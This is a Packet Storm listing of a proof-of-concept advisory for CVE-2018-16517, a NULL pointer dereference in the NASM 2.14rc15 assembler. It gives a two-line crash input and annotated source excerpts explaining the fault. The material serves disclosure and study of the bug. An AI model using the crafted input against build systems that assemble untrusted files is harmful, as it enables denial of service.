Lucene search

K
packetstormFakhri ZulkifliPACKETSTORM:152566
HistoryApr 18, 2019 - 12:00 a.m.

Netwide Assembler (NASM) 2.14rc15 Null Pointer Dereference

2019-04-1800:00:00
Fakhri Zulkifli
packetstormsecurity.com
46

0.002 Low

EPSS

Percentile

56.9%

`# Exploit Title: Netwide Assembler (NASM) 2.14rc15 NULL Pointer Dereference (PoC)  
# Date: 2018-09-05  
# Exploit Author: Fakhri Zulkifli  
# Vendor Homepage: https://www.nasm.us/  
# Software Link: https://www.nasm.us/pub/nasm/releasebuilds/?C=M;O=D  
# Version: 2.14rc15 and earlier  
# Tested on: 2.14rc15  
# CVE : CVE-2018-16517  
  
asm/labels.c in Netwide Assembler (NASM) is prone to NULL Pointer Dereference, which allows the attacker to cause a denial of service via a crafted file.  
  
PoC:  
1. echo "equ push rax" > poc  
2. nasm -f elf poc  
  
insn_is_label remains FALSE and therefore leaving result->label assigned to NULL which is then dereference in islocal().  
  
[...]  
  
if (i == TOKEN_ID || (insn_is_label && i == TOKEN_INSN)) { <-- not taken  
/* there's a label here */  
first = false;  
result->label = tokval.t_charptr;  
i = stdscan(NULL, &tokval);  
if (i == ':') { /* skip over the optional colon */  
i = stdscan(NULL, &tokval);  
} else if (i == 0) {  
nasm_error(ERR_WARNING | ERR_WARN_OL | ERR_PASS1,  
"label alone on a line without a colon might be in error");  
}  
if (i != TOKEN_INSN || tokval.t_integer != I_EQU) {  
/*  
* FIXME: location.segment could be NO_SEG, in which case  
* it is possible we should be passing 'absolute.segment'. Look into this.  
* Work out whether that is *really* what we should be doing.  
* Generally fix things. I think this is right as it is, but  
* am still not certain.  
*/  
define_label(result->label,  
in_absolute ? absolute.segment : location.segment,  
location.offset, true);  
[...]  
  
static bool islocal(const char *l)  
{  
if (tasm_compatible_mode) {  
if (l[0] == '@' && l[1] == '@')  
return true;  
}  
return (l[0] == '.' && l[1] != '.'); <-- boom  
}  
`